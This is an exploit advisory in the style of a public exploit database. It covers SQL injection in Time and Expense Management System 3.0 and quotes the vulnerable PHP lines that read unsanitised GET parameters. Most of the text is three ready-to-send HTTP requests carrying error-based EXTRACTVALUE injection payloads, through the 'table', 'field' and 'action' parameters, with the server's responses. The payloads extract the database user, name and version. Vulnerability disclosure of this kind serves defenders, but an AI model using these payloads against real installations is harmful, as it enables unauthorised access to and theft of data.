Time And Expense Management System 3.0 SQL Injection

`# Exploit Title: Time and Expense Management System 3.0 - 'table' SQL Injection  
# Dork: N/A  
# Date: 2018-10-17  
# Exploit Author: Ihsan Sencan  
# Vendor Homepage: http://www.initechs.com/  
# Software Link: http://sourceforge.net/projects/tems/files/latest  
# Version: 3.0  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
  
# POC:   
# 1)  
# http://localhost/[PATH]/core/model/GetTips.php?table=[SQL]  
  
# /[PATH]/core/model/GetTips.class.php  
# ........  
# $hints_per_page = $_SESSION['ini']['display']['number_of_hints'];  
# $userEntry=ltrim($_GET["userentry"]);  
# $table = $_GET["table"];  
# $key = $_GET["field"];  
# $addlCond = $_GET["addl_cond"];  
# ........  
  
GET /[PATH]/core/model/GetTips.php?table=112112+anD++EXtrACTvaLUE(112,ConcAT(0x5c,conCAT_WS(0x203a20,useR(),DAtabaSE(),VersiON()),(SeleCT+(ELT(112=112,112))),0x49687361126e2053656e6361126e))--+Efe HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
HTTP/1.1 200 OK  
Date: Wed, 17 Oct 2018 01:02:25 GMT  
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30  
X-Powered-By: PHP/5.6.30  
Set-Cookie: PHPSESSID=0kunt4k4d2piurnrcle7nftln5; path=/  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
Content-Length: 1612  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html; charset=UTF-8  
  
# POC:   
# 2)  
# http://localhost/[PATH]/core/model/GetTips.php?field=[SQL]  
  
# /[PATH]/core/model/GetTips.class.php  
# ........  
# $hints_per_page = $_SESSION['ini']['display']['number_of_hints'];  
# $userEntry=ltrim($_GET["userentry"]);  
# $table = $_GET["table"];  
# $key = $_GET["field"];  
# $addlCond = $_GET["addl_cond"];  
# ........  
  
GET /[PATH]/core/model/GetTips.php?field=112112+anD++EXtrACTvaLUE(112,ConcAT(0x5c,conCAT_WS(0x203a20,useR(),DAtabaSE(),VersiON()),(SeleCT+(ELT(112=112,112))),0x49687361126e2053656e6361126e))--+Efe HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: PHPSESSID=0kunt4k4d2piurnrcle7nftln5  
Connection: keep-alive  
HTTP/1.1 200 OK  
Date: Wed, 17 Oct 2018 01:09:41 GMT  
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30  
X-Powered-By: PHP/5.6.30  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
Content-Length: 1811  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html; charset=UTF-8  
  
# POC:   
# 3)  
# http://localhost/[PATH]/core/controller/UpdateBORequest.php[SQL]  
# POST /action=[SQL]  
#   
  
POST /[PATH]/core/controller/UpdateBORequest.php HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: PHPSESSID=3i34gub8ub4dk3jhjthinlv922  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 161  
action=EditUser' anD EXtrACTvaLUE(112,ConcAT(0x5c,conCAT(0x203a20,useR(),DAtabaSE(),VersiON()),(SeleCT (ELT(112=112,112))),0x49687361126e2053656e6361126e))-- Efe  
HTTP/1.1 200 OK  
Date: Wed, 17 Oct 2018 01:12:24 GMT  
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30  
X-Powered-By: PHP/5.6.30  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
Content-Length: 1778  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html; charset=UTF-8  
  
`